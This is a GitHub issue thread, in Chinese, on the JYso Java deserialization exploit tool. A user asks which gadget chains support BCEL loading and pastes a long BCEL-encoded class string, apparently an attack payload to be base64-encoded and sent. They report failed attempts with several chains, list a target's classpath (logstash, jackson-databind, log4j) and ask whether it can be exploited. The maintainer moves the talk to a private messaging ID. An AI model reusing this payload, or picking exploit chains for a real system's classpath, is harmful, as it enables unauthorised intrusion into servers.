qi4L / JYso

JNDIExploit or a ysoserial.
GNU General Public License v3.0
1.58k stars 189 forks source link

大佬,我还有一个疑问 #7

Closed homelanmder closed 1 year ago

homelanmder commented 1 year ago

image 就是使用BCEL时候,是只能使用CommonsCollections1链吗,还是所有的链都支持

qi4L commented 1 year ago

image

homelanmder commented 1 year ago

哦哦,谢谢

homelanmder commented 1 year ago

是不是直接BC-$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeR$5dO$gA$U$3d$p$L$83$eb$b6$82h$ab$ad$mm$d5$m$g$u$c6D$w$a4$_$8d$s$N$f8$RijL$7dY$c6$J$O$ae$bbd$j$a8$ff$a8$cf$bc$d0$a6$89$fe$80$fe$a8$a6w6Fj$bb$Ps$ef$9c$7b$ee9w$ef$ee$af$df$3f$ef$Ala$d5$c6$q26f1$c7$f1$y$89$e7$s$9d$b7$b1$80$X$i$9$W9$b2$M$89$ba$f2$95$7e$cf$Q$x$ac$7df$b0$3e$E$e7$92a$ba$a9$7cy$d0$bfj$cb$f0$93$db$f6$II$d6$85w$cf$7c$d2$d2$ae$b8$dcw$7bQ$89$b4$Y$ecV$d0$P$85$dcS$86$3a$b9$3bP$5e$a9$eb$O$5c$H6$a68r$O$96$90gH$Z$ac$ec$b9$7e$a7$dc$d2$a1$f2$3b$My$d1$P$bd$fc$85$d6$bd$9dry$f3$edv$a9$b2U$zU6M$ac$ecT$ab$d5w$O$5e$e15$c7$h$H$cbXa$c8$8c$rvo$84$eci$V$f84$b5q$7c$a4$7f$d8$eeJ$a1$Z$d2c$e8$b8$efkuE$f3$d9$j$a9$l$$s$85$b5$e6$7f$9c$gI$ca$h$v$Y$K$85$$cd$7f$a7$ae$fd$ddq$U$GB$5e_$d7$kY$dd$83$M$fc$ab$ab$f4$5e$QF$eb$fdH$af$92$a4ob$9e$J0$b3$h$3a$j$bae$v2$8a$f1$e2w$b0$n$r$b4d$3a$T$RH$bb$c7$d3$H$aa$80$85$Y$c5$dc$PL4$ac$5b$c4Nc3V$abY$5c$l$n$be$bf1B$e2$e4$h$ac$c60$ea$5c$c0$o8Y$Z$ad$ie$a0$5e$LqRK$d0$af$c0$a9n$T$pI$f6S$98$a6$wq$cf8R$c62$j$cd8$f3$H$q$3c$e3$TM$C$A$A,然后base64就可以了,我好像还是不太会用,不好意思 image

qi4L commented 1 year ago

是这样的

homelanmder commented 1 year ago

那好吧,打了几个链,bcel还是用不了,ε=(´ο`*)))唉

homelanmder commented 1 year ago

image animal-sniffer-annotations-1.14.jar commons-codec-1.11.jar commons-compiler-3.0.8.jar error_prone_annotations-2.0.18.jar google-java-format-1.1.jar gradle-license-report-0.7.1.jar guava-22.0.jar j2objc-annotations-1.1.jar jackson-annotations-2.9.8.jar jackson-core-2.9.8.jar jackson-databind-2.9.8.jar jackson-dataformat-cbor-2.9.8.jar janino-3.0.8.jar javassist-3.22.0-GA.jar jruby-complete-9.2.7.0.jar jsr305-1.3.9.jar log4j-api-2.9.1.jar log4j-core-2.9.1.jar log4j-slf4j-impl-2.9.1.jar logstash-core.jar org.eclipse.core.commands-3.6.0.jar org.eclipse.core.contenttype-3.4.100.jar org.eclipse.core.expressions-3.4.300.jar org.eclipse.core.filesystem-1.3.100.jar org.eclipse.core.jobs-3.5.100.jar org.eclipse.core.resources-3.7.100.jar org.eclipse.core.runtime-3.7.0.jar org.eclipse.equinox.app-1.3.100.jar org.eclipse.equinox.common-3.6.0.jar org.eclipse.equinox.preferences-3.4.1.jar org.eclipse.equinox.registry-3.5.101.jar org.eclipse.jdt.core-3.10.0.jar org.eclipse.osgi-3.7.1.jar org.eclipse.text-3.5.101.jar slf4j-api-1.7.25.jar 这是它的classpath,大佬你觉得能打吗,我要哭了o(╥﹏╥)o

qi4L commented 1 year ago

加我V说吧,WXID-Nu1r,=-=

homelanmder commented 1 year ago

加了加了